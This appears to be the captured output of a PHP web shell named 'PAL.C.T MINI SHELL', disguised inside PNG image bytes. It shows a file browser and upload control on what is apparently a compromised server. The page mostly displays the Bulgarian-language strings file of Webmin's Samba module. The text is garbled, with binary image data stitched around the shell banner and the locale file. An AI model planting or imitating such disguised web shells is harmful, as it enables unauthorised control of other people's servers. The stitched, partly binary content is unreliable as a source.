php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/samba/lang/
upload
files >> //usr/libexec/webmin/samba/lang/bg

index_title=Споделяне на файлове по Windows мрежа чрез Samba
index_sharelist=списък на дяловете
index_userlist=списък на потребители
index_fileshare=дял за файлове
index_printershare=дял за принтер
index_shareconf=конфигурация на дял
index_version=Samba версия $1
index_samba=Samba

index_sharename=Име на дял
index_path=Път
index_security=Сигурност
index_homedir=Всички домашни директории
index_allprinter=Всички принтери
index_printer=Принтер
index_defaultprn=Подразбиращ се принтер
index_printableto=Разпечатваемо за
index_prneveryone=Разпечатваемо за всеки
index_prnalluser=Разпечатваемо за всички известни потребители
index_rwpublic=За четене и писане за всеки
index_readonly=Само за четене за $1<br>За четене и писане за всички други известни потребители
index_rwalluser=За четене и писане за всички известни потребители
index_roeveryone=Само за четене за всеки
index_readwrite=За четене и писане за $1<br>Само за четене за всички други известни потребители
index_roalluser=Само за четене за всички известни потребители
index_noshares=Няма дефинирани дялове на Samba
index_createfileshare=Създаване на нов дял за файлове.
index_createprnshare=Създаване на нов дял за принтери.
index_createcopy=Създаване на ново копие.
index_view=Показване на всички връзки
index_start=Стартиране на Samba сървъри
index_start_wb=Стартиране на Winbind сървъри
index_startmsg=На вашата система не се откриват работещи Samba сървъри. Това означава, че изброените по-горе дялове няма да са достъпни за други компютри.
index_startmsg_wb=На вашата система не се откриват работещи Winbind сървъри.
index_restart=Рестартиране на Samba сървърите
index_restart_wb=Рестартиране на Winbind сървърите
index_restartmsg=Натиснете този бутон, за да рестартирате работещите Samba сървъри на вашата система. Това ще приложи незабавно настоящата конфигурация.
index_restartmsg_wb=Натиснете този бутон, за да рестартирате работещите Winbind сървъри на вашата система.
index_restartmsg2=Това също така ще прекъсне всички връзки със сървара, така че ако не искате настоящата конфигурация да бъде приложена веднага, простто трябва да изчакате 1 минута, и Samba ще я презареди и приложи автоматично.
index_stop=Спиране на Samba сървъри
index_stop_wb=Спиране на Winbind сървъри
index_stopmsg=Натиснете този бутон, за да спрете работещите Samba сървъри на вашата система. Всички свързани в момента потребители ще бъдат насила отсъединени.
index_stopmsg_wb=Натиснете този бутон, за да спрете работещите Winbind сървъри на вашата система.
index_einclude=Внимание: Вашият конфигурационен файл на Samba $1 съдържа директивите $2 или $3. Това може да накара Webmin да модифицира файла неправилно.
index_delete=Изтриване на избраните дялове

config_mins=Минути
config_secs=Секунди
config_bytes=Байтове
config_never=Никога
config_all=Всички
config_neither=Никое

global_title=Глобална конфигурация
global_unixnetwork=Unix мрежа
global_winnetwork=Windows мрежа
global_auth=Автентикация
global_printing=Печат от Windows към Unix
global_misc=Други опции
global_filedefault=Подразбиращи се стойности за файлов дял
global_prndefault=Подразбиращи се стойности за дял за принтери
global_password=Шифровани пароли
global_users=Потребители на Samba
global_group=Групи на Samba
global_bind=Опции на Winbind

error_nosamba=Изпълнимият файл на Samba сървъра <tt>$1</tt> не беше открит. Или Samba не е инсталирана на вашата система, или вашата <a href="$2">конфигурация на модула</a> е неправилна.
error_version=Webmin не можа да разбере версията на вашия изпълним файл на Samba сървъра<tt>$1</tt>. Проверете вашата <a href="$2">конфигурация на модула</a> дали сте указали правилния път до него.
error_config=Конфигурационният файл $1 не беше открит. Най-вероятно Samba не е инсталирана на вашата система, или вашата <a href="$2">конфигурация на модула</a> е неправилна.
error_include=Webmin не може да се справи с конфигурационни файлове на Samba, които използват директивите <tt>config</tt> или <tt>include</tt>.
error_delshare=Грешка при изтриване на дял
error_delcopy=Дялът '$1' копира от този дял
error_savename=Грешка при записа на именоване на файлове

convert_title=Конвертиране на потребители
convert_msg=Тази форма ви позволява да синхронизирате списъците на потребители на Unix и Samba. Когато Samba използва <a href=$1>шифровани пароли</a>, вместо системния списък на потребители се използва отделен списък на потребители и пароли.
convert_noconv=Не конвертирай и не изтривай тези потребители:
convert_ncdesc=Списъкът на потребителите, които да не бъдат конвертирани, може да съдържа потребителски имена, UID-ове, имена на групи предшествани от знака <tt>@</tt>, или обхвати на UID-ове във формат от типа на <i>500-1000</i> или <i>500-</i>.
convert_update=Ъпдейтване на съществуващите потребители на Samba от данните в техните Unix акаунти
convert_add=Добавяне на нови потребители на Samba от списъка на потребители на Unix
convert_delete=Изтриване на потребителите на Samba, които не са потребители на Unix
convert_newuser=Задай за новосъздадени потребители следната парола:
convert_nopasswd=Без парола
convert_lock=Сметката е заключена
convert_passwd=Използвай следната парола
convert_convert=Конвертиране на потребители
convert_cannot=Потребителите на Unix не може да бъдат конвертирани към потребители на Samba
convert_who=Unix потребители за конвертиране
convert_who0=Само изброените потребители или UID обхвати
convert_who1=Всички освен изброените потребители и UID обхвати

misc_title=Други опции
misc_debug=Ниво на дебъг
misc_cachecall=Кеширане на <tt>getwd()</tt> повиквания?
misc_lockdir=Заключване на директория
misc_log=Логфайл
misc_maxlog=Максимален размер на лога
misc_rawread=Позволяване на директно четене?
misc_rawwrite=Позволяване на директно писане?
misc_overlapread=Размер на припокриващи се четения
misc_chroot=<tt>chroot()</tt> директория
misc_smbrun=Пък към <tt>smbrun</tt>
misc_clienttime=Отместване на клиентското време
misc_readprediction=Предсказване на четене?

net_title=Опции за Unix мрежа
net_idle=Продължителност на бездействие за прекъсване на връзката
net_trustlist=Файл с доверени хостове / потребители
net_netinterface=Мрежови интерфейси
net_auto=Автоматично
net_uselist=Използване на списък...
net_interface=Интерфейс
net_netmask=Netmask
net_keepalive=Keepalive пакети
net_notsend=Не изпращай никакви
net_every=Изпращане всеки
net_maxpacket=Максимален размер на пакет
net_listen=Чакане на адрес
net_ip=IP адрес
net_socket=Опции за socket

passwd_title=Опции за пароли
passwd_encrypt=Използване на шифровани пароли?
passwd_allownull=Разрешаване на празни пароли?
passwd_program=Програма за пароли
passwd_case=Разлика на малки и големи букви в парола
passwd_sync=Промяна и на Unix паролата?
passwd_chat=Chat за промяна на парола
passwd_below=Изброените по-долу:
passwd_waitfor=Изчакване за
passwd_send=Изпращане
passwd_map=Съответствие на потребителски имена
passwd_unixuser=Unix потребители
passwd_winuser=Windows потребители

print_title=Опции за печат
print_style=Разпечатване в стил Unix
print_show=Показване на всички принтери?
print_printcap=Printcap файл
print_cachetime=Продължителност на кеширане на статуса на принтер

smb_title=Опции за Windows мрежа
smb_workgroup=Работна група
smb_wins=WINS режим
smb_winsserver=Работа като WINS сървър
smb_useserver=Използване на сървър
smb_description=Описание на сървър
smb_descriptionnone=Няма
smb_name=Име на сървър
smb_aliase=Синоними на сървър
smb_default=Подразбираща се услуга
smb_show=Винаги показване на услуги
smb_disksize=Максимален рапортуван размер на диск
smb_unlimited=Неограничени
smb_winpopup=Winpopup команда
smb_priority=Приоритет на master browser
smb_protocol=Най-висок протокол
smb_master=Master browser?
smb_master_auto=Автоматично
smb_security=Сигурност
smb_sharelevel=Ниво на дял
smb_userlevel=Ниво на потребител
smb_passwdserver=Сървър на пароли
smb_server=Сървър на пароли
smb_domain=Домейн
smb_ads=Активна директория
smb_announce=Отдалечено анонсиране към
smb_nowhere=Никъде
smb_fromlist=От списък...
smb_ip=IP адрес
smb_asworkgroup=<b>Като работна група</b> (незадължително)

create_title=Създай копие
create_msg=Копието на дял ще наследи всички подразбиращи се стойности от дяла, който сте избрали. Ако оригиналният дял бъде променен, ще се промени и копието.
create_from=Дял, от който да се копира:
create_name=Име на новия дял

smbuser_title=Потребители на Samba
smbuser_list=Списък на потребителите на Samba
smbuser_nouser=Няма дефинирани потребители на Samba.
smbuser_cannot=Потребителите на Samba не могат да бъдат показани

euser_title=Редактиране на Samba потребител
euser_name=Потребителско име
euser_uid=Unix UID
euser_passwd=Парола
euser_noaccess=Няма достъп
euser_nopw=Без парола
euser_currpw=Настояща парола
euser_newpw=Нова парола
euser_realname=Истинско име
euser_homedir=Домашна директория
euser_shell=Shell
euser_option=Опции за потребител
euser_normal=Нормален потребител
euser_noexpire=Паролата никога не остарява
euser_locked=Сметката е заключена
euser_nopwrequired=Не се изисква парола
euser_disable=Сметката е изключена
euser_trust=Доверителна сметка на работната станция

fmisc_title=Други подразбиращи се стойности за файлове
fmisc_for=За дял <tt>$1</tt>
fmisc_lockfile=Да заключва ли файлове?
fmisc_maxconn=Максимален брой връзки
fmisc_fake=Fake oplocks?
fmisc_oplocks=Включване на oplocks?
fmisc_level2=Oplocks само за четене?
fmisc_sharemode=Използване на режими на дялове?
fmisc_strict=Строго заключване?
fmisc_sync=Синхронизиране след запис?
fmisc_volume=Име на том
fmisc_sameas=Същото като дяла
fmisc_unixdos=Unix-DOS трансформиране на имена на файлове
fmisc_conncmd=Команда за изпълнение при свързване
fmisc_disconncmd=Команда за изпълнение при прекъсване на връзка
fmisc_rootconn=Команда за стартиране при свързване <i>като root</i>
fmisc_rootdisconn=Команда за стартиране при прекъсване на връзка <i>като root</i>

fname_title1=Подразбиращи се стойности за именоване на файлове
fname_title2=Редактиране на именоването на файлове
fname_option=Опции за именоване на файлове
fname_manglecase=Игнориране на регистъра?
fname_case=Разпознаване на малки от главни букви?
fname_defaultcase=Подразбиращ се регистър?
fname_lower=Малки букви
fname_upper=Главни букви
fname_preserve=Запазване на регистъра?
fname_shortpreserve=Запазване на регистъра за кратки имена на файлове?
fname_hide=Скриване на файловете, които започват с точка?
fname_archive=Запазване на флага за архивиране на DOS?
fname_hidden=Запазване на флага за скриване на DOS?
fname_system=Запазване на системния флаг на DOS?

fperm_title1=Подразбиращи се стойности за права на файлове
fperm_title2=Редактиране на правата на файлове
fperm_option=Опции за права на файлове
fperm_filemode=Unix права за нови файлове
fperm_dirmode=Unix права за нови директории
fperm_notlist=Директории, които да не се показват
fperm_forceuser=Задължителен Unix потребител
fperm_forcegrp=Задължителна Unix група
fperm_link=Разрешаване на симлинкове към извън дяла?
fperm_delro=Може да изтрива файлове само за четене?
fperm_forcefile=Задължителни Unix права за файлове
fperm_forcedir=Задължителни Unix права за директории

share_title1=Подразбиращи се стойности за файлов дял
share_title2=Редактиране на файлов дял
share_title3=Създаване на файлов дял
share_info=Информация за дяла
share_copy=Този дял е копие на <i>$1</i>
share_name=Име на дяла
share_home=Дял за домашни директории
share_dir=Директория за споделяне
share_create=Автоматично създаване на директория?
share_owner=Създаване със собственик
share_createperms=Създаване с права
share_group=Създаване с група
share_available=Достъпно?
share_browseable=Видимо при браузване?
share_comment=Коментар за дял
share_view=Преглед на връзки
share_option=Други опции за дяла
share_security=Сигурност и контрол на достъпа
share_permission=Права за файлове
share_naming=Именоване на файлове
share_misc=Други опции
share_samedesc1=Бележка - тези стойности повлияват също подразбиращите се за всички файлови дялове.
share_samedesc2=Бележка - тези стойности повлияват също подразбиращите се за всички принтерски дялове.

print_title1=Подразбиращи се стойности за опции за печат
print_title2=Редактиране на опциите за принтери
print_option=Опции за принтери
print_minspace=Минимум свободно пространство
print_postscript=Задължителен печат като postscript
print_command=Команда за разпечатване
print_queue=Команда за показване на опашката за печат
print_delete=Команда за изтриване на задачи за печат
print_pause=Команда за паузиране на задача за печат
print_unresume=Команда за от-продължаване на задача за печат
print_driver=Драйвер за принтер

pshare_title1=Подразбиращи се стойности за дял за принтери
pshare_title2=Редактиране на дял за принтери
pshare_title3=Създаване на дял за принтери
pshare_info=Информация за дял
pshare_name=Име на дял
pshare_all=Дял за всички принтери
pshare_unixprn=Unix принтер
pshare_spool=Директория за спулинг

sec_index1=Подразбиращи се стойности за сигурност
sec_index2=Редактиране на опциите за сигурност
sec_writable=За писане?
sec_guest=Анонимен достъп?
sec_guestonly=Само анонимен
sec_guestaccount=Unix потребител за анонимен достъп
sec_limit=Граница за списъка на възможните?
sec_allowhost=Хостове за разрешаване
sec_onlyallow=Само разрешаване
sec_denyhost=Хостове за забраняване
sec_onlydeny=Само забраняване
sec_revalidate=Пре-валидиране на потребителите?
sec_validuser=Валидни потребители
sec_validgroup=Валидни групи
sec_invaliduser=Невалидни потребители
sec_invalidgroup=Невалидни групи
sec_possibleuser=Възможни потребители
sec_possiblegroup=Възможни групи
sec_rouser=Потребители само за четене
sec_rogroup=Групи само за четене
sec_rwuser=Потребители за четене и писане
sec_rwgroup=Групи за четене и писане

esync_title=Синхронизация на потребители
esync_msg=Webmin може да бъде конфигуриран така, че промените в списъка на потребителите на Unix да бъдат автоматично прилагани към списъка на потребителите на Samba. Това ще работи само когато за добавяне, изтриване и редактиране на потребители се използва Webmin модулът <b>Потребители и групи</b>.
esync_add=Добавяне на Samba потребител, когато бъде добавен Unix потребител
esync_chg=Промяна на Samba потребителя когато Unix потребител бъде променен
esync_del=Изтриване на Samba потребителя когато Unix потребител бъде изтрит
esync_del_profile=Изтриване на роуминг профила когато Unix потребител бъде изтрит
esync_chg_profile=Преименоване на роуминг профила когато Unix потребител бъде преименован
esync_gid=Групов SID или RID за нови потребители
esync_apply=Прилагане
esync_cannot=Синхронизацията на потребители не може да бъде конфигурирана
esync_egid=Липсващ групов SID или RID

mkpass_title=Конвертиране на потребители
mkpass_convfail=Грешка при конвертиране на потребител
mkpass_msg=Конвертиране на Unix потребители...
mkpass_skip=Пропуснат
mkpass_same=Вече е същият
mkpass_update=Променен
mkpass_added=Добавен
mkpass_del=Изтрит
mkpass_passfail=Грешка при задаване на парола
mkpass_user=Потребителско име
mkpass_action=Предприето действие
mkpass_skipcount=$1 потребители бяха пропуснати при конвертиране.

savecopy_fail=Грешка при създаване на копие
savecopy_global=Дял не може да се казва 'global'
savecopy_exist=Дял на име '$1' вече съществува
savecopy_ename=Няма въведено име на дял

saveuser_fail=Грешка при запис на потребител
saveuser_uid='$1' не е валиден Unix UID
saveuser_colon=Истинското име не може да съдържа знака :
saveuser_home=Домашната директория '$1' не съществува
saveuser_shell=$1 не е валиден shell
saveuser_pass=Грешка при промяна на парола чрез smbpasswd : $1
saveuser_ews=Опцията 'Доверителна сметка на работната станция' не може да бъде включена за съществуващи потребители

savefmisc_fail=Грешка при запис на опциите в група „Други“
savefmisc_number='$1' не е валиден брой връзки

savefperm_fail=Грешка при записване на права за файлове
savefperm_mode='$1' не е валидни права за файлове на Unix

savefshare_fail=Грешка при записване на дял
savefshare_nopath=Няма зададен път
savefshare_exist=Дял на име '$1' вече съществува
savefshare_mode='$1' не е валидно име на дял
savefshare_global=Дял не може да се казва 'global'
savefshare_owner=Липсващ или невалиден собственик за нова директория
savefshare_group=Липсваща или невалидна група за нова директория
savefshare_perms=Липсващи или невалидни права за нова директория
savefshare_emkdir=Грешка при създаване на директория : $1

savemisc_fail=Грешка при записването на опции
savemisc_lockdir=Директорията, която съдържа директорията за заключване, не съществува
savemisc_logdir=Директорията, която съдържа логфайла, не съществува
savemisc_logsize='$1' не е валиден размер за лог
savemisc_overlap='$1' не е валиден размер за припокриващо се четене
savemisc_chroot=Chroot директорията '$1' не съществува
savemisc_smbrun=Smbrun програмата '$1' не съществува или не е изпълнима
savemisc_time='$1' не е валидно отместване за време

savenet_fail=Грешка при записването на опции
savenet_timeout='$1' не е валиден таймаут за прекъсване на връзка
savenet_ip='$1' не е валиден байт в IP адрес
savenet_keep='$1' не е валиден keepalive интервал
savenet_maxxmit='$1' не е валиден максимален размер на пакет

savepass_fail=Грешка при записването на опции
savepass_nopass=Вашата версия на Samba не поддържа шифровани пароли
savepass_passwd=Няма указана програма за промяна на пароли
savepass_level='$1' не е валидна разлика между малки и големи букви в парола
savepass_chat=Chat последователността за смяна на парола е празна

savepopts_fail=Грешка при записа на опции за принтер
savepopts_number=Минималното свободно място трябва да е число

saveprint_fail=Грешка при запис на опции
saveprint_printcap=Printcap файлът '$1' не съществува
saveprint_cache='$1' не е валидно време за кеширане

savepshare_fail=Грешка при запис на принтерски дял
savepshare_exist=Дял на име '$1' вече съществува
savepshare_name='$1' не е валидно име на дял
savepshare_global=Дял не може да се казва 'global'

savesec_fail=Грешка при запис на опции за сигурност

savesmb_fail=Грешка при запис на опции
savesmb_size='$1' не е валиден размер на диск
savesmb_oslevel='$1' не е валиден приоритет за master browser
savesmb_server=Трябва да въведете сървър за пароли

start_err=Грешка при стартирането на Samba сървъри
start_fail=Грешка при $1
start_err_wb=Грешка при стартирането на Winbind сървъри

restart_err=Грешка при рестартирането на Samba сървъри
restart_err_wb=Грешка при рестартирането на Winbind сървъри

swats_fail=Грешка при запис на потребителското име
swats_user=Липсващо потребителско име за SWAT

viewu_index=Настоящи потребители
viewu_list=Настоящи потребители на $1
viewu_share=Дял
viewu_user=Потребител
viewu_group=Група
viewu_from=Свързване от
viewu_time=Свързан на
viewu_pid=ID на процес
viewu_msg1=Натиснете ID на процес от списъка по-горе, за да разкачите този потребител.
viewu_msg2=В момента няма свързани потребители.
viewu_locks=Отворени файлове
viewu_none=Няма
viewu_ecmd=Програмата за Samba статус $1 изглежда, че не е инсталирана на вашата система. Възможно е <a href='$2'>конфигурацията на модула</a> да е неправилна.
viewu_kill=Разкачане на избраните потребители
viewu_enone=Няма избрани потребители
viewu_refresh=Опресняване на страницата.

log_apply=Рестартирани Samba сървъри
log_apply_wb=Рестартирани Winbind сървъри
log_stop=Спрени Samba сървъри
log_stop_wb=Спрени Winbind сървъри
log_start=Стартирани Samba сървъри
log_start_wb=Стартирани Winbind сървъри
log_save_fshare=Променен дял за файлове $1
log_save_pshare=Променен дял за принтери $1
log_save_sec=Променени сигурност и контрол върху достъпа за дял $1
log_save_fperm=Променени права за файлове за дял $1
log_save_fname=Променено именоване на файлове за дял $1
log_save_fmisc=Променени опции от група „Разни“ за дял $1
log_save_popts=Променени опции за принтери за дял $1
log_default_fshare=Променени подразбиращите се стойности за дял за файлове
log_default_pshare=Променени подразбиращите се стойности за дял за принтери
log_kill=Отсъединен процес $1
log_skill=Процес $1 отсъединен от дял $2
log_kills=Отсъединени $1 процеса
log_skills=$1 процеса отсъединени от дял $2
log_create_fshare=Създаден дял за файлове $1
log_create_pshare=Създаден дял за принтери $1
log_delete_fshare=Изтрит дял за  файлове $1
log_delete_pshare=Изтрит дял за принтери $1
log_delete_shares=Изтрити $1 дяла
log_net=Променени опции за Unix мрежа
log_smb=Променени опции за Windows мрежа
log_pass=Променени опции за автентикация
log_print=Променени опции за печат от Windows към Unix
log_misc=Променени опции от група „Разни“
log_bind=Променени Winbind опции
log_sync=Конфигурирана синхронизация с Unix потребители
log_epass=Конвертирани Unix потребител към Samba потребители
log_epass_l=Конвертирани Unix потребител към Samba потребители ($1 създадени, $2 променени, $3 изтрити)
log_copy=Копиран дял $2 към $1
log_save_euser=Променен Samba потребител $1
log_delete_euser=Изтрит Samba потребител $1
log_create_group=Създадена Samba група $1
log_modify_group=Променена Samba група $1
log_delete_group=Изтрита Samba група $1
log_gsync=Конфигурирано синхронизиране на Unix групи
log_manual=Ръчно редактиран конфигурационен файл $1

swat_title=SWAT логин
swat_list=SWAT логин
swat_msg1=Текущите ви потребителско име и парола за SWAT са погрешни. Използвайте формата по-долу, за да се логнете отново.
swat_msg2= За да се логнете към SWAT са необходими потребителско име и парола. Това може да бъде кой да е потребител на тази система.
swat_msg3=Не можете да стартирате SWAT през Webmin, тъй като вашата конфигурация на Samba има включена опцията <tt>$1:...</tt> (allow hosts)
swat_msg4=Може обаче да можете да се свържете със SWAT пряко на $1
swat_username=Потребителско име
swat_password=Парола
swat_login=Логин
swat_clear=Изчистване
swat_logout=Логаутване от SWAT

eacl_aviol=Нарушение на контрола върху достъп
eacl_np=Нямате права да
eacl_papply=рестартирате тази услуга
eacl_pcn=редактирате опции за Unix мрежа
eacl_pcs=редактирате опции за SMB мрежа
eacl_pcp=редактирате опции за пароли
eacl_pcprint=редактирате опции за принтери
eacl_pcm=редактирате опции от раздел „Разни“
eacl_pcswat=използвате SWAT
eacl_pcopy=копирате дялове
eacl_pconn_all=разглеждате всички връзки
eacl_pconn=разглеждате връзките за този дял
eacl_pgkill=прекъсвате връзки
eacl_pkill=прекъсвате тази връзка
eacl_pus=променяте дял
eacl_pcrs=създавате дял
eacl_pds=изтривате дял
eacl_pusec=променяте опциите за сигурност и контрол на достъпа за този дял
eacl_pufperm=променяте опциите за права на файлове за този дял
eacl_pufname=променяте опциите за именоване на файлове за този дял
eacl_pufmisc=променяте опциите от раздел „Разни“ на този дял
eacl_pupopt=променяте опциите за принтер за този дял
eacl_pmpass=инициализирате базата данни за потребители на SAMBA
eacl_pmsync=поддържате синхронизацията между потребители на UNIX и SAMBA
eacl_pmusers=поддържате потребители на SAMBA
eacl_pvusers=достъпвате потребители на SAMBA
eacl_pvfmisc=достъпвате опциите от раздел „Разни“ за този дял
eacl_pvfname=достъпвате опциите за именоване на файлове за този дял
eacl_pvperm=достъпвате опциите за права на файлове за този дял
eacl_pvsec=достъпвате опциите за сигурност и контрол на достъпа за този дял
eacl_pvpopt=достъпвате опциите за принтери за този дял
eacl_pafs=достъпвате този дял за файлове
eacl_paps=достъпвате този споделен принтер
eacl_pcps=създавате споделен принтер
eacl_pcfs=създавате дял за файлове

acl_apply=Може да приложи промените и да спре Samba?
acl_view_all_con=Може да разглежда всички връзки?
acl_kill_con=Може да премахва връзки?
acl_conf_net=Може да конфигурира опции за UNIX мрежа?
acl_conf_smb=Може да конфигурира опции за Windows мрежа?
acl_conf_pass=Може да конфигурира опции за автентикация?
acl_conf_print=Може да конфигурира опции на принтери?
acl_conf_misc=Може да конфигурира опции от група Разни?
acl_swat=Може да използва SWAT?
acl_manual=Може да редактира ръчно конфигурационния файл?
acl_enc_passwd_opts=Опции за шифровани пароли
acl_view_users=Може да разглежда базата данни за SAMBA потребители?
acl_maint_users=Може да редактира потребители на SAMBA?
acl_maint_makepass=Може да конвертира UNIX потребители към SAMBA потребители?
acl_maint_sync=Може да поддържа автоматично синхронизиране на потребители от UNIX към SAMBA?
acl_hide=Скриване на недостъпни обекти?
acl_c=създава
acl_r=четене
acl_w=писане
acl_afs=Достъп до дялове за файлове
acl_aps=Достъп до дялове за печат
acl_copy=Може да копира дялове?
acl_per_fs_acls=Включва ACL-и за специфични за файл дялове?
acl_per_ps_acls=Включва ACL-и за специфични за принтер дялове?
acl_per_share_acls=Специфични за дял ACL-и...
acl_ernow=Ако искате да включите в глобалните ACL-и достъп за писане за някой тип обекти, трябва да включите и достъп за четене за този тип обекти.
acl_sname=Име на дял
acl_saccess=Достъп до дял
acl_sconn=Връзки
acl_sopthdr=Опции на дял
acl_ssec=сигурност
acl_sperm=права за достъп
acl_snaming=именоване на файлове
acl_smisc=Разни
acl_sprn=или принтер
acl_na=н/п
acl_r1=само за четене
acl_rw=за четене и писане
acl_view=разглеждане
acl_kill=убиване
acl_edit=редактиране
acl_group_opts=Опции за групи на Samba
acl_maint_groups=Може да разглежда, редактира и добавя групи?
acl_maint_gsync=Може да поддържа автоматично синхронизиране на групи от UNIX към SAMBA?
acl_winbind=Може да свързва към домейни?
acl_bind=Може да достъпва опции на winbind?

groups_title=Групи на Samba
groups_name=Име на групата
groups_unix=Unix група
groups_nounix=Няма
groups_type=Jrm
groups_type_d=Група в домейна
groups_type_b=NT builtin
groups_type_l=Локална група
groups_type_u=Неизвестен
groups_sid=SID
groups_none=Засега няма дефинирани групи на Samba.
groups_return=списък на групи
groups_add=Добавяне на нова група на Samba
groups_ecannot=Нямате права за разглеждане или редактиране на групи на Samba
groups_cannot=Групите на Samba не могат да бъдат показвани

gedit_title2=Редактиране на Samba група
gedit_title1=Създаване на Samba група
gedit_header=Подробности за Samba група
gedit_name=Име на групата
gedit_type=Тип на групата
gedit_sid=SID на групата
gedit_desc=Описание
gedit_priv=Привилегии
gedit_unix=Unix група
gedit_unixgr=Група ..
gedit_none=Няма
gedit_set=Изброените ..

gsave_err=Грешка при запис на група
gsave_eunix=Липсващо или невалидно име или GID на Unix група
gsave_ename=Липсващо име на група
gsave_epriv=Липсващи привилегии на група
gsave_elocal=Привилегии могат да се задават само за локални групи

gsync_title=Синхронизация на групи
gsync_msg=Webmin може да бъде конфигуриран така, че промените в списъка на групите на Unix автоматично да се прилагат и към списъка на групите на Samba. Това е възможно само когато за добавяне, изтриване и промяна на групи се използва модулът <b>Потребители и групи</b> на Webmin.
gsync_add=Добавяне на Samba група когато бъде добавена Unix група
gsync_chg=Промяна на Samba групата, когато Unix група бъде променена
gsync_del=Изтриване на Samba групата, когато Unix група бъде изтрита
gsync_apply=Прилагане
gsync_type=Тип на новите групи
gsync_priv=Привилегии за нови групи (ако са локални)
gsync_ecannot=Нямате права за конфигуриране на груповата синхронизация
gsync_cannot=Синхронизирането на групи не може да бъде конфигурирано

check_user1=$1 : Шифровани пароли не са включени на <a href='$2'>страницата за автентикация</a>.
check_user2=$1 : Файлът с пароли на Samba и пътят към pdbedit не са настроени на <a href='$2'>страницата за конфигурация на модула</a>.
check_group1=$1 : Групи се поддържат само в Samba версия 3.
check_group2=$1 : Пътищата към smbgroupedit и net командите не са настроени на <a href='$2'>страницата за конфигурация на модула</a>.

winbind_title=Свързване към домейн
winbind_ecannot=Нямате права за свързване към домейн
winbind_msg=Тази форма може да бъде използвана за свързване на вашия Samba сървър към Windows домейн, обикновено управляван от друг сървър.
winbind_header=Свързване към Windows домейн
winbind_user=Свързване като потребител
winbind_dom=Свързване към домейн
winbind_save=Свързване сега
winbind_default=Домейн от конфигурацията на Samba
winbind_pass=Парола на потребителя
winbind_err=Грешка при свързване към домейн
winbind_euser=Липсващо потребителско име
winbind_edom=Липсващо име на домейн
winbind_cmd=Свързване към домейн с командата $1 ..
winbind_failed=.. върна грешка! Вижте изписаното по-горе за обяснение защо.
winbind_ok=.. завърши.

bind_title=Опции на Winbind
bind_ecannot=Нямате права за редактиране на опции на winbind
bind_header=Опции за биндинг на Windows домейн
bind_local=Включване на Winbind за локални сметки?
bind_trust=Доверяване на потребителите на домейн сървър?
bind_users=Забрани показването на списък на потребители?
bind_groups=Забрани показването на списък на групи?
bind_defaultdomain=Използване винаги на подразбиращ се домейн?
bind_realm=Kerberos сфера на домейн сървър
bind_cache=За колко секунди да кешира детайлите на потребител
bind_uid=Обхват на UID за Windows потребители
bind_gid=Обхват на GID за Windows групи
bind_backend=LDAP основа за картиране на сметки
bind_err=Грешка при записа на winbind опции
bind_erealm=Невалидна сфера на Kerberos
bind_ecache=Липсващо или невалидно време за кеширане
bind_euid=Невалиден UID обхват - трябва да бъде подобен на 20000-30000.
bind_egid=Невалиден GID обхват - трябва да бъде подобен на 20000-30000.

manual_title=Редактиране на конфигурационен файл
manual_desc=Редактиране на конфигурационен файл на Samba $1 ..
manual_err=Грешка при запис на конфигурационен файл
manual_edata=Няма въведено нищо!

delete_err=Грешка при изтриването на дялове
delete_enone=Няма избрани
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`